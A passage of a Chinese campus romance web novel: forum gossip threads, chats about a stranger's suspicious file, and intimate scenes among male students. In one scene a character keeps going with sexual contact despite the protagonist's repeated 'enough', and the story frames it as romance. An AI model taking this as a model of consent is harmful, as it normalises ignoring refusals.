温绒再次打断他:“我不说话你还不乐意。” 周谢:“心思很明显。” 时野五指用力,“原来他是我情敌。” 温绒:“不算情敌,我挺讨厌他。” 周谢:“但是他也一直纠缠你。” 时野哼笑,“怎么办,看到有人纠缠你我就吃醋。” 温绒答:“你俩上次在商场不是已经想到办法了吗。” 周谢看一眼温绒,很快顺着话往下说:“所以我们三个争风吃醋,打架打骨折,都是合理的。” 温绒看林竞航沉默,大概猜到他理解不了,详细解释一遍,“林竞航,现在你被时野跟周谢单方面群殴,所有人都只会认为你们在为我争风吃醋,他们不会帮忙,事情闹大的最高上限是八卦新闻,明白吗?” 林竞航一愣,因为那只手摁在了脖子上,只能扬起下巴,勉强看向温绒,“什么意思。” “……”温绒沉默了两秒,突然“噗嗤”笑出声。 林竞航皱眉。 “你实在是脱离正常社会太久了,学习下如何在人类社会生存吧。” 说完,温绒把桌上属于自己的东西收进包里,起身走人。 时野松开林竞航,旁边椅子轻响,周谢一瘸一拐跟到温绒后面。 林竞航胸口一阵闷痛,分不清是被时野侮辱了憋屈,还是被温绒那些话刺到。 “喂——”林竞航用尽最后的力气大喊。 温绒回头。 “温绒跟周谢接过吻,你知不知道。” 时野跟周谢一起停下了,不可思议地看向林竞航。 林竞航半边脸都是刚才在桌子上磕出来的红色印记,跟另一半正常的脸组合在一起,看起来有些扭曲。 时野兀地笑一声,看向温绒,像是一个询问的眼神。 温绒点一下头,时野才说:“我知道啊,周谢跪下来求他的。” 全场哗然。 周谢做了个幅度较大的扭头,张了张嘴,没发出声音,最后——选择闭嘴。 时野伸手接过温绒背上的包,三人齐齐走出去。 林竞航定在原地,久久难以回神。 “林少爷。” 直到楼上传来一声喊,不知道是谁的。 “喜欢温绒怎么现在才说……按规矩你只能拍六百三十八,不过现在靠前有个二百五的空缺,要不要啊。”另一个声音。 林竞航没品过味儿来,只觉得烦,抬头看一眼楼上,被密密麻麻的人头眩晕。 随即楼上传来震天的笑声,才终于发现自己被看了笑话,不知道怎么处理,迅速把书扔了跑出去- 黒鸽论坛 《惊!林竞航抖m属性大爆发,竟然暗恋温绒。》 《修罗场现场直击:林竞航打不过时野》 《好消息,好消息!跪下求男神就可以得到香吻》 [今晚的瓜吃爽了!爽麻了。] [靠,之前他老是找温绒麻烦我就觉得不对劲,像是我幼儿园追女生的手段,没想到第六感是正确的,这小子就是喜欢温绒不好意思说。] [那他爱的不够深啊,我男神想当学生会会长,他懂点事就该自己退位了。] [啧,渣男,爱江山更爱美人。我就不一样,我现在跪下能跟周谢一样求到男神香吻吗?] [不敢相信,荷官会跪下来求男神。] [跪的搓衣板还是键盘?他以前那一张张的牌,单纯跪下是不够的吧。] [等等,如果连荷官跪下都能求到香吻,那我时哥跟莱昂这两位岂不是……] [靠,赵泽阳该看哭了。] [哭的只有赵泽阳吗?我特么也想哭。] [毒唯破防了,一觉醒来发现自己至少有三个真嫂子的心情谁懂?] [唉,既然真嫂子都有三个,为什么不能多我一个。] [真想联名申请联邦通过多夫制,我也想当男神家的一份子。] [何必那么麻烦,你去他家当狗也是算一家人的。] [嗷呜呜,人家破防就算了,你们这些人还在这里落井下石。] [不是,你们都不关心林竞航暗恋温绒这件事吗?] [暗恋温绒这种事,不是人之常情吗?] [对啊,喜欢温绒不是很正常吗?] [要我说,林竞航其实还怪白眼狼的,他三年前退学那事都是我男神给他翻的案,结果他不仅抢男神的学生会会长,还搞各种事欺负他。嗷!还他妈在图书馆打扰我男神学习,他竟然不知道“不可以打扰温绒学习”这个共识。] [唉,今天时野就该真跟他动手,打进医院最好,像他给周谢打瘸腿那样。都争风吃醋了,不见血简直就是脱裤子放屁。] 各种热帖看得所有人那叫一个酣畅淋漓,肾上腺素勃发,几乎不到几秒钟就有新的楼层刷新,跟所有人围个圈聊天似的热闹。 直到温绒发帖。 《给今天在图书馆的同学说声抱歉,并非有意打扰各位学习,我下次注意。》 [靠!我亲眼看到林竞航没事找事,完全不怪你,男神。] [美貌有罪吗?没罪,怪癞蛤蟆发癫,今天在图书馆就他最大声。] [这就是咱们空降的学生会会长,还不如当年荷官呢。虽然荷官爱发牌,但他以身作则,比咱还守校规啊!] [对,不对比不知道,荷官是多好一个学生会会长。] [竟然是温绒出来道歉?难道不该始作俑者出来道歉吗?按照荷官的性格,这种在图书馆打扰所有人的行为都是要发牌的。] [何止啊,以前荷官在的时候,校内进的来女团?教室里全是别人带来的酒臭味儿?我愿称林竞航管理下的弗罗里曼学院为:垃圾堆。] [有一点怀念以前了,至少是个正常大学样儿。] [林竞航确实太烂了,我听说联邦大学生网球联赛的所有事都是其他人对接的,他管都不管。] [网球联赛还能依靠时野,毕竟世界冠军嘛,他又是社长,没让社员落下训练。重点是接下来有联邦大学生辩论赛,去年咱就是险胜,今年换林竞航带队,大概率输了。] [啧,弗罗里曼学院的第一神话要结束了吗?] [老子不同意!!!!] 温绒本意是引导所有人对林竞航产生厌烦心理,没想到这些人聊着聊着就聊到了辩论赛。 他没听说过这些比赛,但上次跟周谢吃饭时听周谢说过,弗罗里曼学院的口碑是搞科研和打比赛挣来的。 学生会会长要负责带队吗? 他把这段话截了图,发给周谢:[这个辩论赛是什么意思?以后我也要带队吗?我不会辩论。] 周谢:[你还没当上学生会会长就想这些?] 温绒理直气壮:[总要为以后考虑,不然到时候问题突然过来,我都不知道该怎么处理。] [这个不用担心,你在辩论方面有天赋。] [啊?] [你要是有精力进入辩论队,我敢保证接下来7年,都是弗罗里曼学院拿冠军。] 温绒被夸得有些不好意思:[原来我在这方面有天赋啊。] [嗯,你那嘴上台一说,对面就会气得动手打你。] 周谢继续打字:[打人会取消全队成绩,你打一场,弄一队,打一场,弄一队,最后连亚军季军都没了,就弗罗里曼学院一支队伍获得冠军。] 温绒听出了语气里的揶揄,但竟然被逗笑了。 他都怀疑对面不是周谢。 周谢还有这么幽默的时候? 周谢:[?还在吗] 周谢:[聊天结束之前我有一个问题想问你。] 哐哐两条内容弹出来,温绒才发现自己有一会儿没回复周谢了。 温绒连忙打字:[什么?] 周谢:[林竞航真的喜欢你吗?] 温绒:[不知道,但大家都这么说,他估计也会这么认为吧。] 周谢:[喜欢就会顾虑,是件好事。] 温绒:[今天谢谢你过来帮忙。] 周谢:[是我硬要跟着时野过去。] 被林竞航拦住的时候,温绒给时野发的消息,因为上次王斯辰来,周谢找的时野,所以他想,在对付林竞航是用时野是最好的。 他没想到时野会跟周谢一起来。 也算是机缘巧合,学生会这边对接网球联赛的人是周谢,他的消息发过去时,周谢正在网球场跟时野聊比赛的事情。 其实跟他们没有提前通气,但默契地一起给林竞航“戴帽子”了。 温绒又打字:[还有时野说的那句话,我当时以为他要说我跟他也接过吻,没想到是说你,很不好意思。] 周谢:[?] 温绒:[?] 周谢:[时野不会说那种让人误会你很浪荡的话。] 温绒想了想,发现还真是,周谢竟然如此了解时野。 但很快又反应过来,周谢在帮时野说话。 温绒忍不住感慨:[你们感情真好。] 周谢:[……] 周谢:[你能当那天在商场是我跪下求你的吗。]?? 温绒看清字的瞬间,喉咙一痛,被口水呛到。 周谢:[我可以补跪。] 温绒抬起手,指尖都在抖,半天打不出字。 最后忍不住问系统,“哥哥,他……他怎么这么吓人。” 系统表示自己一个AI,哪里知道一个人是怎么想的。 只是系统又觉得自家宿主的态度怪怪的。 你是被欺负的那个啊!你怎么还跟欺负你的人聊天,你还被他弄尴尬了。 【宿主,他做了很过分的事,你应该理直气壮地指责他,不要被他弄这么尴尬。】 “万一他真的在我面前跪下怎么办,我感觉我死了都没办法面对周总统。” 温绒吞咽唾液,“出事那天周总统和他的秘书都在保护我,还把我从廊桥边拉上去。” 【……】 [好像这种先斩后奏的跪也没有什么意义。] 幸好,周谢那边又发消息了。 温绒吐出口气,小心敲字:[嗯。] 周谢:[来日方长。] 温绒没回复了。 但他从椅子上站起来绕好几圈,稍稍冷静,又觉得自己该回复一下的,不然不太礼貌。 [嗯。] 可以结束对话了吧,他刚刚说这是“最后”了。 周谢:[有三件事要跟你说一下。] 温绒:…… 温绒:[什么事。] [第一件事,那个女孩目前在医院进行治疗,情况不太乐观,但我已经让认识的专家团队过去了,今晚就能到。] [第二件事,我把我认识的警察安排进了福利院事故的调查小组,有新消息我通知你,不要看新闻。] [最后一件事,网上的舆论已经处理好了,关于回福利院这件事,我以你要准备联邦大学生网球联赛为理由推脱了,也找了些营销号调转风向,你可以上蓝书看看,有不满意的地方告诉我。] 这是真的要谢谢了。 温绒给周谢发了感谢,关闭黒鸽打开蓝书,正想按照周谢说的搜一下目前网上对自己跟福利院事故的看法,先被蓝书底下的“999+”消息吓一跳。 许久没有看蓝书,竟然有那么多消息。 他点开消息,发现基本都是网友通过私信向自己表达对喜爱和期许。 温绒一条一条回复感谢,同时也祝愿对方。 除此之外,有些消息也很有意思,是考试的学习资料。 对方可可爱爱地说“不好意思哦,想用你的聊天窗口存一下考试资料。” 温绒清理着这些消息,按着顺序,点开一个可爱小猫头像。 [温绒你好,我也是从福利院出来的孩子。看到新闻后我对福利院发生的事感到很悲痛,但我工作很忙没办法回去,我有一些钱,你回去的时候能不能帮我带过去。] 温绒愣了下,再三确认这段话。 温绒:[你不回去吗?] [请问你是温绒本人吗?] [我是的,你好。] [太好了!很感谢你回复我的消息。我跟你是同一所福利院出来的,不过我离开得比较早,你可能不认识我。] 小猫头像又说:[我有一些钱,一部分想捐给福利院,另一部分想给一个孩子,你能帮我转交吗?] 温绒明白了,对方主要是想把钱给一个孩子才特地找的自己。 但是他也不想回福利院去,似乎要辜负对方的期待了。 温绒不太忍心直接拒绝对方,鼠标胡乱点着,打开了对方的主页。 蓝书对很多人来说是记录生活的社交软件,对方也一样,在蓝书上发表了许多笔记: 《性取向是男,心理上接受不了男人,生理上也接受不了女人,我是绝望的直女》 《感觉自己有被害妄想症怎么办?在哪里都不安全》 《连说话的朋友都没有是不是没救了?》 《马上过年了,有人一起搭伙吗?ps:不要男的》 温绒想到周谢说的“逢年过节”,顿时深刻感受到对方的孤独。 他退出主页,看到小猫头像发来的最新消息。 [那小孩很可怜,他在福利院总是被欺负,后来好不容易被领养,没一年,就因为养母怀孕被退回来了。] [我走得匆忙,不知道他现在是什么情况。] [135xxxxxxx这是我的手机号,你方便跟我电话吗?有些话不方便在蓝书上说。] 温绒:[好。] 温绒敏锐感觉到对方言语中透着奇怪,但打通电话似乎也不是什么难事,还是摸手机拨打过去。 对面立马接起,“你好,请问是温绒吗?我是刚刚给你发消息的那个。” 是个女人,背景里有动物的鸣叫,像是鸡。 “你好。” “真的是你,谢谢你打电话给我。” 听声音,女人像要哭了。 “我当时是从人贩子手里逃出来的,我不能回去了,回去被抓到会被他们打死的。有个孩子……” 女人彻底哽咽,“有个小孩当时帮我逃走,我不知道他怎么样了,要是他被发现,很有可能……” 女人说到这里,几乎泣不成声,再也发不出其他字音。 温绒蹙眉,心里有一些疑惑,不过还是压了下来,“没关系,你慢慢的说。” “那孩子……那孩子其实是我弟弟,他当时才10岁。” “你们分开有多久了?” “13年。” “……” 那就是个比自己还大5岁的人。 温绒:“那他应该离开福利院了,我不一定能找到他。” “如果你看到他就帮我把钱给他,如果看不到他就……”顿了下,女人声音哽咽,“就、就算了吧。” 温绒刚想说自己应该不会回去,但可以托人找福利院的名册看看她弟弟是不是还在福利院里,女人再次出声,“温绒,你真的好厉害,你能光明正大地离开那里,还能……还能……” 温绒:“如果你需要我的其他帮助,我可以尽自己所能帮助你。” “我……” “没关系,你慢慢说,以后你感到孤独的时候都可以直接给这个手机号发消息,我看到会回复你的。” 温绒知道自己其实不该这样对待一个来历不明的人,但看到主页那些笔记,他产生一种共鸣和怜惜的情感。 所以自己说服自己了,单纯当一个网友的树洞应该不会有什么坏事发生。 “你真的……太好了。跟网上说的一样的。” 女人抽咽,“我我这里有一些东西,我想发给你。” “什么?”温绒略带警惕。 “你看看就知道了,我……你帮我保存着,或许以后有用到的地方。” “好。” 温绒虽然说好,但其实打开了林启正的聊天窗口。 [学长,有网友要我发一个东西,你能帮我看看有没有病毒吗?] 消息发出去,立马得到回复。 林启正:[网友发的东西接都不要接,绝对是盗取你手机信息的病毒。] 温绒这就不太好麻烦林启正了。 其实他带着一点点诡异的心理。 女人提到很多恐怖的词,“人贩子”、“逃”、“打死”,这些词能构设出一段特殊的经历,再加上女人言语含糊,那份文件很有可能是重要的东西。 现在唯一的疑虑在于不知道这个女人是否真的来自福利院,而她发过来的东西是否带有病毒。 不该问林启正的。 他想到另一个人——李奥。 温绒给周谢发消息:[你现在有空吗?] 周谢:[直接说什么事。] 温绒把自己跟女人的聊上天的这件事给周谢详细说了。 周谢:[你住哪一间宿舍?我带李奥过来。] 啊?来我房间吗? 温绒迅速左右环顾,回复:[要不我去你那边?] 周谢:[我隔壁住着林竞航。] 温绒:[……] 周谢领着李奥来敲门时,温绒跟女人完全结束了通话,女人也很快发了一个压缩包过来。 温绒怕自己误点,把手机放在桌上不敢动,拉开房间门。 咔擦—— 旁边同时响起开门声,一道高大身影迅速窜至周谢身后,直接推开周谢,“你大晚上来他房间干什么?” 温绒心中警铃大作,马上退开一步,用气音急道,“赶紧进来,时野你也进。” 要是再搞出什么大动静,黒鸽论坛又要热闹了。 不对啊,为什么自己一开门,时野就冲出来。 隔音效果那么差吗? 温绒回忆起上下左右的走动声,恍然大悟。 好像真的挺差。 “小声点,别吵。”所以温绒提醒三人,希望不要有过多的动静打扰到上下左三个宿舍。 时野压低声音追问周谢,“你来找温绒干嘛。” 周谢白他一眼,“来跪下,你满意了?” 温绒:“……” “艹!你——” 温绒即时打断时野,“现在情况比较紧急,时野你跟周谢先去旁边互相解释。” 温绒迅速拉开椅子示意李奥坐:“李奥,她已经把文件发过来了,麻烦你帮忙看一看。” 李奥:“啊?” 李奥:“我???” 李奥其实也是懵的。 他经历表哥突然砸门,被表哥从床上拎起来,十秒穿衣,抱着巨重的电脑、吹着冷风、来到温绒的宿舍门口。时野冲出来“抓奸”时,有那么一瞬间产生“我靠,我是不是要当温绒的绯闻男友了”的恐怖想法。 最后,空白的大脑在看见裂开的手机屏幕时,下意识问: “你手机怎么还没换?” “留着纪念那天跟我表哥接了吻?” 第110章 第 110 章 想继续,想更进一步…… 气氛短暂陷入沉默。 “啪”的一声, 时野一巴掌拍在李奥脑袋上。 李奥对着半死不活的手机磕个头,好不容易坐稳,不吭声, 回头跟时野搏击。 拳头砰砰砰地对撞,李奥显然不敌,打一下倒吸口凉气,是真痛。 周谢并不加入战局,侧个身跟温绒解释,“我以为我把你手机摔坏了,问过李奥能不能帮你恢复数据。” 于是李奥知道了那天发生的事。 温绒意识到这件事真的需要彻底解决, 吐出口气,“时野也跟你动手了,那天的事就当没发生过。” “没发生过?” 周谢似乎还有话要说, 李奥尖叫一声打断:“表哥!帮我,我打不过他。” 周谢伸手过去,没打时野, 而是拍李奥的脑袋,“小声点。” 李奥从善如流, “表哥,救我,我打不过他。” 周谢向来懂“借刀杀人”,扭头喊温绒, “救他,不然今晚你宿舍要睡四个人。” 温绒懂怎么拿捏时野,“时野,我麻烦他来帮我开一份很重要的文件,你要一起研究吗?” 时野停下了, 被李奥锤了一拳,没在意,只问温绒:“什么文件。” 温绒把自己跟女人的对话复述给时野听。 顺带的,李奥终于搞明白自己为什么会冒着成为绯闻男友的风险来到这里。 虽然觉得温绒相信个陌生人的话又怀疑人家发病毒给自己这种事很莫名其妙,但他尽职尽责干好自己的活,把压缩包里的东西小心摘出来。 整个过程,让他想起1区的某家餐厅,吃鸡蛋配齐五个道具,从摆放鸡蛋开始使用一个专门的固定器,切割使用两个,一个确认缺口,一个敲击震碎蛋壳,这样,能保证切割蛋的时候蛋壳碎裂痕迹平滑有规则。最后,蛋开了,撒上胡椒奶酪等等玩意,专用刀叉伸进去,挖出一小勺……蛋白加蛋黄。 吃蛋过程看得非常让人无语,颇有闲的没事干,找点没用的仪式感增加麻烦的感觉。 李奥一通操作后右键点开压缩包,就是这个想法。 “好吧,人家没骗你,就是单纯把照片压缩成文件而已。” 话音刚落,数张模糊的照片平铺在电脑屏幕上。 鼠标地长久暂停,自动辨认机主离开,在桌面上消失。 “外城区夜景照?老相机版本?”李奥无语。 周谢:“能把照片弄得清晰点吗?” “可以,但是这个照片太黑了,处理起来需要点时间。你们三先睡,我弄一弄?” 三人不约而同地看向唯一一张床。 周谢意味不明地碰一下时野,“你当初怎么不赔一张大一点的床。” 是开学时泼油漆的事。 时野喉头一哽,“艹!你闭嘴。” 温绒终结即将开启的战局,“要不今晚都先回去吧。” 时野:“……嗯。” 周谢:“嗯。” 李奥:“好好好好好。” 临近十二点,宿舍走廊熄了灯,一扇门打开,三道高挑身影鱼贯而出。 每个人脸上神色都不太好,定了几秒,不知道谁说了声“走吧”,才转身。 没有道别和寒暄,沉默得像四个哑巴。 温绒缓慢关门,地板上一束方形的光芒收窄。 突然,光被挡住,一只手撑住门框。 温绒愣了下,下一秒时野迅速抵着他进门。 啪。 门很轻地合上。 还是发出些动静,李奥回头看见失踪的时野跟紧闭的宿舍门,偏头问自家表哥,“他在干嘛?” 周谢定了几秒,转头冷声道,“走吧。” 两人一前一后下楼,隔壁两个房间的门被推开,两个脑袋几乎同时探出,发现对方,不惊讶,反而用气音互相问话。 “走了?” “谁来找我男神了?” “等我,我看看大门……” 没几秒,激动的声音响起,“靠!荷官和李奥。” 另一个:“他们这么晚来找我男神干嘛?” “不会是夜闯闺门想生米煮成熟饭吧?” “两兄弟一起?” “嗯,兄弟盖饭。” “是不是太不考虑我男神的身体了。” 弗罗里曼学院历经多年,新建筑不少,就是宿舍楼常常满员,翻修得少,隔音跟百年前一样差。 温绒只是后脑贴着门都能听见声音,不过他无暇顾及那些越来越离谱的猜测。 时野故意弯腰,宽大的肩膀压迫向下倾轧,与他对视。 幽怨的眼神里,颇有秋后算账的意思。 果然,下一秒就问:“为什么叫他不叫我。” 热气喷在脸上,温绒过于有经验,预感到一些事情即将发生。 他想了想,说:“我本来找的林启正学长,学长没时间,就想到了李奥,可是我跟李奥不熟,所以通过周谢请他帮忙。” “嗯,很合理。”时野认可,却兀地低头抵在温绒眉上。 “你有什么话想告诉我吗?” “没有。” “或者你想我跟你说点什么?” “……” 时野闭着嘴,略重的呼吸平缓下来,慢慢的、慢慢的宁静。 热息纠缠,烘着空气,时野的脑袋阻隔灯光,阴影覆盖温绒的脸。 随即,他抬手环上时野的脖子。 像是一种信号,时野一触即发,却吻到下巴。 温绒仰着脸,垂下眼皮望他,眼睫纠缠,几乎盖住眸子里的光亮。 “不要闹别扭,你还没说。” “……” “组织语言的时候能先让我看看黒鸽论坛吗?我怀疑现在又有新的绯闻了。” “对不起。” “怎么突然说对不起。” “油漆的事。” “以前那些事不是很早就原谅你了吗?” “嗯,但我就是很想再跟你道歉。” 时野又说:“你太轻易原谅了,心里一点都不记仇,让我有点难过。” 温绒觉得有些好笑,“那我要不要原谅你?” “所以你已经完全原谅周谢了吗?” 原来这才是时野想说的话。 温绒点头,“……嗯。” “为什么原谅他。” “因为你已经帮我出气了,还毁他名誉,让所有人都以为他跪下求我。” 时野紧绷的表情稍稍放松,“太便宜他了。” “是有一点。” “别跟他走那么近。” 温绒抓住一点时野的心思,“其实我跟你更熟一点,跟他更像同事。” “只是普通同事吗?” “都是看在你跟他一块长大的份上才相处的。” “真的?” “嗯。” 倒也没有骗时野,温绒之所以和周谢和睦相处,莱昂学长跟时野在其中占据大部分原因。 只是回想跟时野的对话,突然觉得自己像个哄骗小女孩的渣男。 “来亲一下吧。” 他努力稀释这种渣男的感觉,给予时野一些当前氛围的奖励。 时野愣怔半秒,低头轻轻吻一下他,留下一句“你真好”。 “怎么突然就说我真好了。” “就是很好,让我很开心。” 他想,自己刚才那些渣男语录竟然让时野开心了?顿时有些良心不安,只能真正想个让时野开心的话。 “那你再亲我一下,用力一点,刚才像没吃饭。” “……” “不喜欢吗?” 时野用激烈的亲吻回答他。 温绒回应着,这种彻底承认自己欲望的感觉很好,触电一般,生理上有种难以言喻的爽快。 门外彻底没声了,温绒唇角磨得发痛,挪手拍拍时野的肩膀,模糊地提醒,“好了,回去睡觉吧。” 时野松开他,站直了。 温绒伸手想要摸门把手,突然,一只粗壮的手臂横跨肩膀,把他向后一扣。 转瞬间,身体悬空。 温绒吓一跳,猛吸口气,才反应过来时野把他抱了起来。 他的体重对时野来说简直轻轻松松,从门口走到床边几乎只是散步。 不知道是过于信任时野还是时野平时太听话,温绒并不紧张。 坐下后,时野果然蹲在脚边。 “走之前想跟我聊会儿天吗?”温绒主动问。 “你不担心我会对你做什么吗?” “我想你应该不是那样的人。” “我不是那样的人,但周谢不一定,你不担心他会对你做什么吗?他上次那样强迫你。” “其实我上次说了些刺激他的话,我已经有经验了,不会——” 温绒猛然摁住时野的手背,“时野?” “他会的,我都控制不住,周谢比我还没有自制力。” 有力的指尖在只被莱昂学长触碰过的腿侧滑过,神经不受控制地紧绷起来。 运动裤上的结被缓慢拉开,温绒感觉到时野的胸口彻底把小腿抵在床边。 一层布料无法阻隔热量,暧昧令他下意识抽腿,却被摁住了。 “时野。”他声音急促,模糊地提醒着。 时野不回答,转个身,正跪到在他面前,两手铐上他的膝盖。 这下,温绒真正被完全制住了。 时野本身是不好惹的长相,锋利的眉目带着凶相,面无表情的时候最让人害怕。 他忍不住追问:“你怎么了?” 时野不答,埋下头,后脖子拱出一节脊柱的形状,拉扯两块积聚力量的背肌,高高隆起。 力量鲜明地传达到温绒的下腹。 “我下次不喊周谢来了。”危机来临,温绒尽可能猜测时野反常的原因。 “那是你的自由。” 时野顿了下,“我知道,如果你需要我,也会喊我。” “那你……” “你太会哄我了。” 时野从小就爱竞技,对自己身体的掌控力远远高于普通人,他抵得住大多数诱惑,但遇到温绒后,就一发不可收拾地失控。 大多数时候是被气到。 最近这段时间,温绒好像有些变化。 说话怎么那么好听。 眼神怎么那么勾魂。 一呼一吸,都好诱人。 温绒完美得除了不独属于他,找不到任何缺点。 只要听温绒说话,那些酸涩的醋意都转成了悸动,让他浑身发热,心脏乃至每一块肌肉,都像等待比赛开始一样兴奋。 时野亲昵地磨蹭,呼吸到的每一缕空气都带着春/药。 着迷地,松开膝盖,钻进t恤,抚上腰肢。 好细。 没有一点肌肉,软的,想捏一捏。 温绒发出明显的吸气声,“好痒。” “温绒,我现在给你跪着,能让我继续吗?” “温绒,我想继续,你再哄哄我。” 温绒推了下时野的头顶,被寸发扎到手,嗓子酥麻,发不出声,失去最佳的拒绝时机。 时野的体温比莱昂学长高,无论是手掌还是口腔。 他不想比较的,只是自小养成的习惯使然,看见同一道题时,下意识记住两种解题方式,在旁边记录下两种解题思路的差别。 学长温柔,每一次触碰都带着迂回缠绵的行事风格,时野更强势,把他当成一片羽毛,猛一口气吹到天上,还没落地,再次一口吹上去。 每一次真的很用力,呼出的声音响得他忍不住抬手挡住脸颊的红晕。 他飘着,羽片被空气揉出岔,残破不堪,湿淋淋地荡。 “时野,可以了。” “可以了。” 温绒一开始还能完整地提醒时野,最后只能费劲拍他,“我……我真的生气了”。 不知道拍到哪里,或许是扎手的头发,或许是紧皱的眉目,时野感觉不到痛似的,随他。 温绒得到一种自由,又很不自由的感觉。 像笼子里的鸟,可以展翅飞,脚又被抓着。 直到时野把他架起来,连翅膀的自由都不给了,抓着他的手,“打这儿。” 温绒被恐怖的热量震撼,指尖一抖,大脑陷入短暂空白。 等他回神,已经被时野抱到洗手池边。 学校统一配备的洗手液没有起泡功能,时野掌心接了些,贴到温绒手背上细细地搓。 五指被分得很开,泡沫丰盛时,时野的手指一一滑入指缝。 打网球留下的茧每刮一次骨节,五指都条件反射地握紧。 泡沫从紧密触碰的皮肤中挤出,滴答滴答落在池子里。 这种被黏腻包裹的感觉令温绒禁不住发抖,仿佛刚才的事还在继续。 “可以了。” 温绒叫停时野。 “要搓久一点,不然会有味道。” 温绒被吹来的热气烫了下,无意间抬眼,跟镜子里的时野对上视线。 那眼神没有半点餮足,空荡荡的,像饿狼。 “你明天有事吗?” 温绒瞬间明白时野的言下之意,“要跟新闻社的学长们出去团建。” “一定要去吗?” “约好了的。” 滋啦 水龙头拧开。 时野带他冲干净手,到隔壁拿新的四件套来给他换好,才回去睡觉。 温绒一沾上床就失去意识,再睁眼是早上五点。 疲乏地爬起来,几乎是闭着眼睛穿的衣服。 天气不错,空气中残留积聚了一夜的冷气,呼吸一口,肺部都感觉得到清爽,人也终于清醒了。 温绒走下楼梯,摸出手机拍暖阳穿过树叶的照片。 屏幕瑕疵并不影响手机里的美景,他拍每一处都觉得好看,忍不住找各个角度拍摄。 倏地,一道黑影入镜。 温绒放下手机,周谢若有我觉,偏头过来。 “早。”周谢说。 “早……你也这么早?” “平时不这么早,你的私生粉们说你早上五点半必定出现在宿舍门口,我来验证一个疑问。” “啊?” 周谢上下打量他一眼,哼笑,“走路正常,还有力气拍照,说明昨晚没做。” “哈?” “也是,直男第一次需要跨越巨大的心理障碍。” 提示词过于明显,温绒终于想明白周谢的意思。 “你大清早来这里就是想知道我跟时野做没做?” “嗯,我昨晚一边抽烟一边想这个问题。” 周谢转个身直面阳光,眼下有明显的黑眼圈。 被窥探了隐私的怒气都硬生生压了下去,温绒尴尬别开脸,“做不做这种事是我的自由。” “没人限制你的自由。你跟莱昂林竞航躺一张床上都可以,我想他俩也不介意。” “哈?”温绒有种不可理喻的感觉,“我不会那么做。” “嗯。” 周谢跟温绒走了一段沉默的路。 到食堂门口,周谢重新开口,“你其实想说的不是自由,是让我别偷窥你跟时野,对吗。” 温绒:“……” 周谢越来越会猜测他的心思了。 周谢扯了扯嘴角,“我做不到。” “你做不到还要特地告诉我?” “至少我违背过往行事风格,向你保持了坦诚。” “……” 温绒不想说了,甩下他往里走。 周谢继续说:“莱昂就不会,他好奇死了,但性格使然,只能假装不知道。” 温绒停下脚步。 “这样的情绪压抑过久,他会出问题。” 周谢走到他身侧,用只有两人可以听见的声音提醒,“领导应该时常关注下属的心理健康,这样才能培养出死士。” 周谢说的话不无道理,黒鸽论坛上就周谢李奥大晚上进温绒房间的事吵翻了天,后来时野开门关门更是添上一把大火。 现在《温绒翻牌子》的帖子还挂在首页。 温绒想起自己刻意抛到脑后的回答。 确实该回答学长了- “怎么说,下周要去吗?” “去吧,不去不行。” “莱昂去吗?” 实验室内,空调风呼呼吹过头顶,四人围坐在桌子边,有一搭没一搭地聊着天。 “莱昂?” 莱昂如梦初醒,平静站起,“我再看看。” “欸?我这一听就知道你不想去,别去吧,我也不想去,那边无聊死了。让我过会儿现代人的生活吧,我不想当原始人。” 新的抽调安排下来,他们几个又要面临坐直升飞机前往研究基地坐牢的命运。 这会每次都开,内容都一样,“不想去”、“别去”……当然,每次的结果都是回去就收拾东西,准时出发。 “什么?你竟然想再看看?” “这是研究狂魔说出来的话?” “不会是看见昨晚的帖子,道心乱了吧。” “哈哈哈哈,夜论皇上召三妃,听取哭声一片。” 莱昂不理会他们的调笑,收拾东西正想离开,余光透过窗户,看到远处紧闭大门的100室。 项目研讨会结束,所有社团重组,100室已经没了人。 他偶尔会想起温绒问“我可以叫你老婆吗”这件事。 那些偶然显露的出格,会让他觉得,自己真的触及到了温绒。 那种时刻,他就是温绒眼里最亲密的人。 “噗嗤” 莱昂莞尔。 很快笑容又收了回来,因为温绒已经很多天没有联系他了。 原因显而易见。 其实莱昂知道自己不该在车上说那些话,一些逼迫的话并不会让温绒就范,只会让他迷茫。 可莱昂又无法忍住去逼一逼。 他接受时野跟温绒接吻,或许还可以接受更多,但那些事情都发生在想象中,并不真切。 当温绒跟别人接吻这件事实实在在地出现在眼前,莱昂恍然发现,他其实没有那么了解自己。 他嫉妒。 或者说是愤怒。 无法调理的糟糕心情,转化为把温绒占为己有的欲望。 滋——的一声,手机屏幕中央跳出“温绒”两个字。 莱昂眉目舒展,走到没人的地方接起电话,“真好,刚结束开会就接到你的电话。” “学长,你在哪?” “校务楼,你要告诉学长答案了吗?” “……嗯。” “那学长来找你,你在哪?” “我在408门口。” 莱昂愣了片刻,反应过来,唇边溢出笑声。 答案好像没那么重要了。 他从校务楼跑着回的宿舍。 走廊上,温绒背靠408的房间,脑袋轻垂,听到动静,迅速抬头望过来,霎时间眉开眼笑。 灿烂得,莱昂一下子什么都想不到了,也不禁跟着笑。 稍稍展手,温绒就冲上来拥抱他。 莱昂扶了下柔软的后脑勺,“让学长开个门,不然被别人看见,论坛上又要有新帖子。” “嗯。” 两人进门,莱昂蹲下身给他找拖鞋,刚想问问要不要喝点什么,温绒先开了口:“学长,我想尝尝你的咖啡。” 莱昂一愣,觉得有些不对劲,又说不上来哪里不对劲,应了声,去泡咖啡。 咖啡机烹出浓郁的苦涩酸味,液体灌满杯子,莱昂终于想明白奇怪的地方在哪里。 温绒说“他想”。 很直白的主动行为,跟上次去酒店时很像。 毕竟那次发生了些事,莱昂一回忆起来,热流穿过胸膛,不免燥动。 他努力压了压,取冰块放入咖啡液,克制地端到温绒面前。 “谢谢。” 温绒捧起咖啡杯,尝试性地抿一小口。 漂亮的眉眼毫无意外地皱起来。 莱昂被他逗笑,“不喜欢就别喝了,学长喝咖啡只是为了早起不困,你好像没有这种烦恼。” “我还是喝完吧,不浪费。” 温绒一鼓作气把咖啡喝完,好像闷了一口酒似的,深吸口气说:“学长,你这里有卷尺吗?” “怎么?” “想看看我长高了没。” “真巧,学长这里正好有。” 莱昂到抽屉里拿出卷尺,让温绒站在墙边,拉出将近180的高度。 “179。” “有小数点吗?” “负0.1左右。” “那我也算长高了。” “恭喜。” “等我长到180,就去拜访学长的爸爸妈妈,以……学弟的身份刷个好感度。” “刷好感度?” “好感度够了,才好意思逢年过节跟学长一起回家。” “……” “……” 莱昂低头凝视温绒的眼睛,想要通过里面的光彩判断这句话是否真实。 温绒后脑勺靠到墙上,冲他粲然一笑,“我现在才179点负0.1,还没准备好。” 滋啦—— 